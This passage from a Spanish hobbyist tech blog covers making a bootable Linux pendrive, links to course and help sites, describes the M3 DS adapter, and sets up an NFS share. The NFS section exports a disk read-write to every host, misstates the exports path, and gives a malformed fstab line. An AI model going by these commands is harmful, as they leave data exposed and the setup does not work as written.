REPITO: ESTANDO EN EL PENDRIVE.
Esto hará que el Pen se convierta en autoarrancable.

La ejecución de ese fichero en el disco duro arruina el Master Boot Record.
(Si espesad de todo te lo logras cargar, recupera el ordenador con el Supergrub.)

¡¡ YA ESTA!!

No obstante te recuerdo que debes de especificarle al equipo que arranque desde el USB en el arranque o en la BIOS.
Las claves del sistema són usuario root, clave root, y usuario guest clave guest.

Si tu ordenador no es capaz de arrancar desde el USB sigue leyendo, que luego vemos como hacerlo.

Veras que dispones de varios arranques son desde arrancar en Live, a persistente, seguridad, etc...
Tienes el Firefox, Thunderbird y multitud de herramientas.
Entre sus características más destacables, se puede instalar en un disco duro, y es capaz de reinstalarse en una llave USB.



ESTE PUNTO ES PARA AVEZADOS. El sistema crea en la llave un fichero para guardar todas las modificaciones que quieras realizar al sistema, pero es muy pequeña, 256 Mb. Te recomiendo que la agrandes y para ello has de hacer lo siguiente: Borra el fichero mcnlive.loop. Arranca desde la llave en modo no persistente. Pica en el Pingüino (menú principal) Pica en el siguiente pingüino (Pendrivelinux). Pica en create persistent loop. Te pide el tamaño que quieres, libre albedrío, y lo hace automáticamente.
.
¿Y EL SEGUNDO MÉTODO?

Ya hemos dicho que este sistema que hemos puesto es versión de la versión de Mandriva.
Bueno pues subamos un paso.

Su "Madre" es Mandriva, y su "Padre" es MCNLive.
Desde su pagina nos descargamos la versión que deseemos, en este momento la TORONTO. Elegimos el mirror y bajamos la versión elegida. A día de hoy ninguna en español.

Pagina descargas MCNLIVE

Tendremos una imagen ISO, con la cual creamos un disco Live.

ATENCIÓN ESTE DISCO SIRVE PARA ARRANCAR EL PEN ANTES GENERADO, POR EL PRIMER MÉTODO, CUANDO EL EQUIPO ES INCAPAZ DE HACERLO POR SÍ MISMO DESDE EL USB.


Arrancando desde esta Live, si ya tenemos visto el sistema anterior, nos sonará todo muchísimo.

Para generar una distro Linux en un Pen, arrancamos en modo no persistente, buscamos en el menú principal pendrivelinux y dentro de ello el referente a generar en un USB. Desde este mismo lugar podemos generar el persistent loop.
Atención necesita que el USB ya esté formateado y que sea de arranque.

La diferencia con el otro método es que tiene menos formas de arranque. No te fíes. Solo que siempre entra en modo live, no persistente, para ver las opciones fijate en el pequeño texto del principio.

Y por supuesto, siempre puedes arrancarlo con su propio disco CDLive, que acabamos de descargarnos.

Si te ha parecido poco en está pagina de http://www.pendrivelinux.com/ .Puedes ver como poner otras distros. Solo que esta era la más sencilla.

Y si quieres saber más del sistema, la pagina principal del proyecto MCN.
http://www.mcnlive.org/




sábado, 19 de enero de 2008

Curso de Introducción a la Informática


Gracias a esta magnífica pagina:
Chochito pelao

Y le doy las gracias porque nos va ha servir además de para recomendar que os deis una vuelta por ella, pues es sumamente interesante, por este cursillo.
Se trata de un cursillo para aprender un poquito de que va esto de los ordenadores, y como a veces nos pasamos, es bueno poner cositas básicas, pero imprescindibles.

Está ideado para los productos de Microsoft, pero no por ello es menos meritorio.
La noticia
El PDF

martes, 18 de diciembre de 2007

ADSL Ayuda


En ocasiones uno encuentra una pagina útil, en este caso muy útil.

Dispone de una serie de indices y pequeños tutoriales que son básicos, pero muy instructivos.

¡Como no!, También de Linux.
Por eso,os recomiendo este tutorial:
http://www.adslayuda.com/Linux.html
Donde los no iniciados podrán ver el grado de control que permite el S.O.

Otro muy util:
http://www.adslayuda.com/Redes.html
Donde puedes ver como funciona y se configura una red, tambien Wifi.

Tienes sobre P2P, puertos, servidores, Terminología...
También utilidades de velocidad de conexión, configuraciones, manuales de routers, etc,etc.
Y por supuesto todas las noticias referentes al mundillo.

Si tienes una duda referente a conexiones, primero paseate por aquí:

http://www.adslayuda.com/

viernes, 7 de diciembre de 2007

M3 (DS)


Ya sabéis que las máquinitas de juegos no son una de mis principales aficiones, de hecho apenas sé usarlas.

No obstante y por ser una cosa curiosa quiero haceros participes.

Las consolas de juegos no dejan de ser sistemas microprocesados, pequeños ordenadores diseñados y creados con el único fin de distraernos.
Estos aparatitos tienen un firmware que se encarga de leer el programa de una tarjeta y ponen todo el hardware disponible a disposición del juego en cuestión.

Esto es así en el 99,99% de los casos, pero no siempre.

Existe la posibilidad de que, generalmente por ingeniería inversa, alguien diseñe su propio programa o juego. Es por ello que existen consolas de juegos de tecnología Open, sí como el Linux, para facilitar el camino.
Ni que decir tiene que la gran mayoría de nosotros no las ha visto más que por Internet.
Y no siempre son juegos, quien esté interesado puede echar un ojo a la revista de electrónica elecktor, que entre otras cosas hizo un osciloscopio usando una consola.

Pero todo esto es un poco complicado, así que existen aparatos para facilitar las cosas. Para la Nintendo DS, y alguna más, existe el M3.
Estos aparatos nos facilitan la labor de programar una Eprom con el software que queramos y meterla a la consola.

Existen desaprensivos que lo que ponen aquí es en lugar de sus programas u otros Open, colocan copias de las ROMs de juegos comerciales.
De esta manera puedes encontrar consolas que en un solo cartucho tienen decenas de juegos y todos ellos piratas. Cosa totalmente reprobable.

No obstante solo el hecho de disponer de uno de estos aparatos puede convertir nuestro dispositivo en un reproductor de música o lector de ficheros. Atención no esperes milagros, no se convierte en una PDA.

Estos aparatos se venden comercialmente en muchos sitios, para que los conozcas aquí te dejo un enlace a un comercio, pero existe en cientos de sitios:
ElectrónicaWeb

Y como no os puedo, pues no sé, dar muchos detalles vamos a un experto y que nos cuente desde cero como funcionan estos dispositivos.
En este caso recurrimos a la Web "elotrolado.net" y aquí encontramos un articulo de EGladiator titulado "Mega Tutorial M3 adapter".

Es muy ameno y muy informativo. Este hombre se merece un monumento o que le pongan su nombre a una calle de su pueblo.




jueves, 1 de noviembre de 2007

video cursos y mucho más

Hoy varios cursos de esos de sentarse y mirar:

En primer lugar gracias a OutKast:
Vídeo curso de Ubuntu y DreamWeaver

Desde aquí puedes verlos o descargarlos directamente.


En realidad estos mismos ya los teníamos en la Web, más general y con muchos más cursos, tanto en vídeo como en texto:
www.videotutoriales.com

Pero desde esta, solo podemos verlos sin registrarnos, cosa recomendable

lunes, 29 de octubre de 2007

La Web del Programador - LWP

Solo puedo deciros que es una pagina fantástica con cantidad de cursillos, manuales, programas y utilidades, etc..

Su pagina principal:

LWP

Tiene una gran colección de programas y lo que a mi más me gusta:
Cursos LWP

Si quieres aprender algo de informática, este es el mejor sitio sin ningún lugar a dudas.

domingo, 28 de octubre de 2007

Cursos de Informática


En esta Web disponemos de cursos completos, básicos de momento, de las suites más conocidas. Tanto el Office de Microsoft como nuestro querido Open Ofice.

Como muestra, y copio literalmente, el Writer:


El curso en cifras:

  • Para las personas que comienzan a usar un procesador de textos, este curso es ideal15 lecciones
  • 212 páginas
  • 195 prácticas
  • 15 resúmenes de lecciones
  • 15 para saber más
  • 15 autoevaluaciones
  • 14 Actividades de repaso
Se recomienda comenzar con este curso básico, ya que es la base fundamental a la hora de trabajar con un procesador de textos.
Luego y cuando lo termines, podrás realizar otros cursos en esta web, tanto de ofimática, diseño gráfico, diseño web o incluso Internet, si así lo deseas.



http://conestecurso.com/





domingo, 21 de octubre de 2007

Hispamp3 (manuales)

Esta es una página dedicada especialmente a dar noticias, muy buena, que podéis visitar desde este enlace:
http://www.hispamp3.com/

De hecho la sección noticias, no es más que un RSS de este sitio.

Bueno, esto no es lo que le ha traído aquí. El asunto es que en esta misma se pueden localizar una serie de tutoriales de interés.
Echarles un vistazo, puede ser interesante, desde la página principal o desde aquí:

Manuales Hispamp3

miércoles, 10 de octubre de 2007

Open Office (cajón de sastre)


Ya sabéis que la suite Open Office es con creces el software libre más conocido en la actualidad, gracias a la empresa SUN, y es la alternativa al Office de Microsoft, que sin lugar a dudas es el mejor software jamas creado por esta empresa.


En ocasiones no sabemos donde encontrar un manual o a quien preguntar algo de esta suite, eureka, esta es la página:

Superalumnos.net
Encontrareis manuales, trucos, demos, ejercicios, tutoriales, etc,etc..

Como muestra en este enlace tenéis como hacer dibujos animados (GIF) con el Open Draw, si esos que se mueven solos, banners, etc...
Gif Animadas

miércoles, 3 de octubre de 2007

Linux NFS, puesta en marcha

Para quien no lo sepa la forma de compartir carpetas y elementos normal es usar el sistema SAMBA. Este sistema es el que usa Windows y por tanto el que todo el mundo instala.

Pero yo no tengo Windows, salvando las que dan al patio interior, así que me decidi a poner el sistema de compartición del propio sistema, el NFS.

Para hacerlo , dividimos el problema en dos partes, el servidor y el cliente, es decir el que tiene lo que queremos compartir y el que lo va ha disfrutar.

En el servidor:

Necesitamos los programas nfs-kernel-server y el nfs-common portmap, que en mi caso he cargado con el apt-get.
Todos los detalle de compartición se encuentran en el fichero /ext/exports. Lo editamos y ponemos en mi caso:

/media/hdb1 *(rw,sync)
Siendo /media/hdb1 el disco que quiero compartir, * los usuarios permitidos (todos) y rw los permisos de escritura y lectura.

Todos los pasos del servidor, incluidos derechos de usuarios, se pueden realizar gráficamente desde configuración del sistema/ compartir.


En el cliente:
Necesitamos portmap nfs-common, desde apt o con sudo apt-get install portmap nfs-common.

Para montar la unidad de forma manual:
Desde ejecutar comando:

kdesu mount 192.133.133.103:/media/hdb1 /media/server
siendo la IP (podría cambiarse por el nombre y dominio) la del equipo servidor, y /media/hdb1 el elemento que se comparte.
/media/server es donde se monta la unidad.
Muy importante el destino debe existir, pues no lo crea, así que previamente creamos la carpeta /media/server.


Para montar automáticamente en el arranque:
Editamos /etc/fstab, que es donde se encuentran los datos de montaje para las unidades físicas, y como root.
En la última línea:
192.133.133.103:/media/hdb1 /media/server nfs rsize 8192, wsize 8192, timeo=14, intr

Si queremos desmontar la unidad:
umount/media/server

Una vez montada la unidad el sistema no distinguirá entre esta unidad, carpeta, elemento o servicio y cualquier otro que efectivamente esté físicamente instalado.

Cualquier elemento así compartido puede a su vez ser compartido por el cliente y también puede serlo usando simultáneamente SAMBA.

Todo lo aquí narrado ha sido gracias a la documentación que encontré en:
http://ubuntuforums.org
http://ubuntu-tutorials.com

Sin su inestimable ayuda no hubiese podido ponerlo en marcha y aún menos explicarlo.
Gracias.